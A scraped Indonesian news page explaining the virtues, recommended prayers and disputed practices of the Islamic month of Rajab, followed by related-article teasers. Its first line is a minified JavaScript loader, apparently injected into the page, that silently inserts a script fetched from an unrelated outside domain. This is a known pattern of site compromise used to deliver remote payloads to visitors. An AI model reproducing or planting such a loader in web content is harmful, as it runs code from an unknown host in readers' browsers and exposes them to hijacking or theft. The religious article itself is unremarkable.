(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ilustrasi orang salat | Unsplash/Masjid Pogung Dalangan
Bulan Rajab merupakan salah satu bulan yang memiliki kedudukan istimewa dalam Islam. Tiap memasuki bulan ini, umat Muslim berbondong-bondong mencari tahu amalan bulan Rajab, baik itu sunnah, doa, sampai dzikir yang dianjurkan.
Namun, di tengah giat umat yang semakin semangat untuk beribadah, ada beberapa hal penting yang harus “diluruskan” terkait amalan-amalan yang kerap dilakukan selama bulan ini, karena dianggap tidak memiliki dalil yang kuat.
Artikel ini akan membahas secara lengkap soal amalan di bulan Rajab, keutamaannya, doa dan dzikir yang dianjurkan, serta amalan-amalan yang perlu diluruskan agar ibadah tetap sesuai dengan tuntunan.
Bula Rajab adalah bulan ketujuh dalam kalender Hijriah. Bulan Rajab merupakan salah satu dari empat bulan haram dalam Islam selain Zulqadah, Zulhijah, dan Muharram.
Firman Allah SWT. dalam Surah At taubah Ayat 36:
“Sesungguhnya jumlah bulan menurut Allah ialah 12 bulan, (sebagaimana) dalam ketetapan Allah pada waktu Dia menciptakan langit dan bumi, di antaranya ada empat bulan haram. Itulah (ketetapan) agama yang lurus, maka janganlah kamu menzalimi dirimu dalam (bulan yang empat) itu, dan perangilah kaum musyrikin semuanya sebagaimana mereka pun memerangi kamu semuanya. Dan ketahuilah bahwa Allah beserta orang-orang yang takwa”.
Dari ayat tersebut, jelas bahwa kedudukan bulan Rajab dalam Al-Qur’an adalah istimewa karena masuk dalam asyhurul hurum atau bulan haram yang dimuliakan Allah. Di bulan ini, umat Islam sangat dianjurkan untuk menjauhkan diri dari segala bentuk dosa dan maksiat serta memperbanyak amal ibadah untuk memperkuat ketakwaan pada Allah SWT.
Sebagai salah satu bulan istimewa, bulan Rajab memiliki keistimewaan “khusus” yang cukup berbeda dibanding bulan-bulan lainnya. Segala perbuatan dan amal baik akan dicatatkan dengan pahala yang berlipat ganda. Namun sebaliknya, saat melakukan perbuatan dosa dan maksiat pun, ganjarannya dosanya akan dilipatgandakan.
Berikut adalah keutamaan-keutamaan Bulan Rajab:
Bulan haram diartikan sebagai bulan di mana Allah melarang umat Muslim untuk melakukan peperangan dan berbuat zalim, serta dianjurkan untuk memperbanyak amal saleh. Segala perbuatan baik dan buruk akan dicatat dan dilipatgandakan ganjarannya.
Sesuai dengan namanya, “haram”, di bulan-bulan ini umat Islam dilarang keras untuk melakukan perbuatan dosa, terutama maksiat. Hal ini bisa menjadi momentum tepat bagi umat Muslim untuk meningkatkan amal ibadah dan menjauhi dosa.
Sebagai salah satu bulan haram, bulan Rajab memiliki berbagai larangan yang berkaitan dengan dosa, seperti larangan untuk berbuat zalim pada diri sendiri, larangan untuk berperang, larangan melakukan pembunuhan, sampai larangan untuk bermaksiat.
Bulan Rajab juga menjadi pertanda bahwa waktu Ramadan semakin dekat. Oleh karena itu, untuk menyambut momen yang suci tersebut, alangkah baiknya jika mengisi bulan Rajab dengan hal-hal bermanfaat dan meningkatkan kadar ketakwaan pada Allah.
Salah satu momen terpenting yang terjadi saat rajab adalah Isra Miraj. Peristiwa itu terjadi pada 27 Rajab di tahun ke-12 kenabian Nabi Muhammad SAW. Salah satu hikmah dari Isra Miraj adalah perintah salat lima waktu yang diperintahkan Allah SWT. yang juga menjadi landasan utama umat Islam dalam menjemput karunia-Nya.
Umat Islam dianjurkan untuk banyak melakukan sedekah di bulan Rajab. Bersedekah tidak hanya dapat membantu sesama, tetapi juga membersihkan hati dan harta, sekaligus meningkatkan keimanan. Tak perlu banyak, asalkan sedekah dan dilandasi rasa ikhlas, Allah akan melipatgandakan pahala dan ganjaran baik lainnya.
Melalui Hadits Riwayat Bukhari dan Muslim, Rasulullah bersabda bahwasannya segala amal baik yang dilakukan saat bulan Rajab akan dilipatgandakan pahalanya. Maka, alangkah baiknya jika umat Muslim berlomba-lomba dalam hal kebaikan di momen bulan Rajab ini.
Baca juga: Kapolda Kalsel Cek Kesiapan Jelang Acara Rutin 5 Rajab Sekumpul
Berikut adalah beberapa amalan yang dianjurkan selama bulan Rajab:
Bertaubat artinya menyesali segala dosa dan kembali kepada Allah SWT serta berjanji untuk betul-betul tidak mengulanginya. Di bulan Rajab, umat Islam dianjurkan untuk memperbanyak bacaan istighfar, seperti yang dikutip dari laman NU Online:
رَبِّ اغْفِرْ لِيْ وَارْحَمْنِي وَتُبْ عَلَيَّ
Artinya: “Wahai Tuhanku, ampunilah aku, rahmatilah aku, dan terimalah taubatku”.
Ibadah sunnah yang dapat dilakukan selama bulan Rajab adalah puasa Rajab. Tidak ada ketentuan khusus terkait pelaksanaan puasa ini.
Selain berpuasa, umat Islam juga bisa memperbanyak salat sunnah, seperti salat duha, salat witir, salat taubat, salat malam, dan sebagainya.
Umat Muslim sangat dianjurkan untuk membaca Al-Qur’an, misalnya satu hari satu juz. Tak hanya itu, penting untuk memperbanyak zikir sederhana, seperti tasbih, tahmid, dan tahlil.
Bersedekah dapat berupa harta materi maupun nonmateri. Sedekah materi dapat dilakukan dengan memberi harta benda, seperti uang, makanan, atau pakaian. Sementara itu, nonmateri dapat berupa nasihat, menyingkirkan batu di jalan, dan sebagainya.
Melalui NU Online, berikut beberapa doa yang dianjurkan di bulan Rajab, seperti:
اللَّهُمَّ بَارِكْ لَنَا فِيْ رَجَبَ وَشَعْبَانَ وَبَلِّغْنَا رَمَضَانَ
Dibaca 100x:
سبحان الله الحي القيوم
Subhanallahil hayyul qayyum
Dibaca 100x:
سبحان الله الاحد الصّمد
Subhanallahil ahadish shamad
سبحان الله الرؤوف الرحيم
Subhanallahir rauufur rahiim
Baca juga: Sambut Moment 5 Rajab, PUPR Kasel Percepat Perbaikan Jalan Martapura Lama
Ada beberapa amalan yang sebenarnya tidak dianjurkan saat bulan Rajab. Merangkum dari berbagai sumber, berikut adalah amalan yang tidak dianjurkan selama bulan Rajab:
Menurut Majelis Tarjih Muhammadiyah, tidak ada dalil yang secara tegas menerangkan kapan saja waktu istimewa untuk melakukan puasa sunnah Rajab. Umumnya ada masyarakat yang berpuasa tiga hari di bulan Rajab, tetapi sesugguhnya anjuran itu bukanlah anjuran khusus, melainkan anjuran umum untuk berpuasa di tiga hari tiap pertengahan bulan atau ayyamul bidh—tanggal 13, 14, dan 15 di tiap bulan Hijriah.
Sama halnya dengan puasa di hari khusus, tiada dalil yang menegaskan soal puasa sebulan penuh di bulan Rajab. Tidak ada ketentuan tertentu yang mengatakan bahwa puasa ini dilakukan selama sebulan penuh.
Para ulama sepakat bahwa salat raghaib yang dilakukan pada malam Jumat pertama di bulan Rajab hukumnya bid’ah, sehingga dianjurkan untuk tidak melakukannya.
Hukum merayakan Isra Miraj beragam. Namun, umumnya jika hanya diperingati atau dilakukan dengan kegiatan positif, seperti zikir, salawat, dan pengajian, maka diperbolehkan.
Merangkum dari laman resmi Badan Pengelola Keuangan Haji (BPKH), tidak ada bukti sahih dari Nabi Muhammad maupun sahabat yang menunjukkan keutamaan khusus dalam melaksanakan umrah di bulan Rajab. Artinya, umrah di bulan Rajab tetap diperbolehkan, tetapi tanpa ada niat untuk melakukannya khusus di bulan Rajab saja, karena umrah tetap berpahala besar meskipun dilakukan kapan saja sepanjang tahun. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.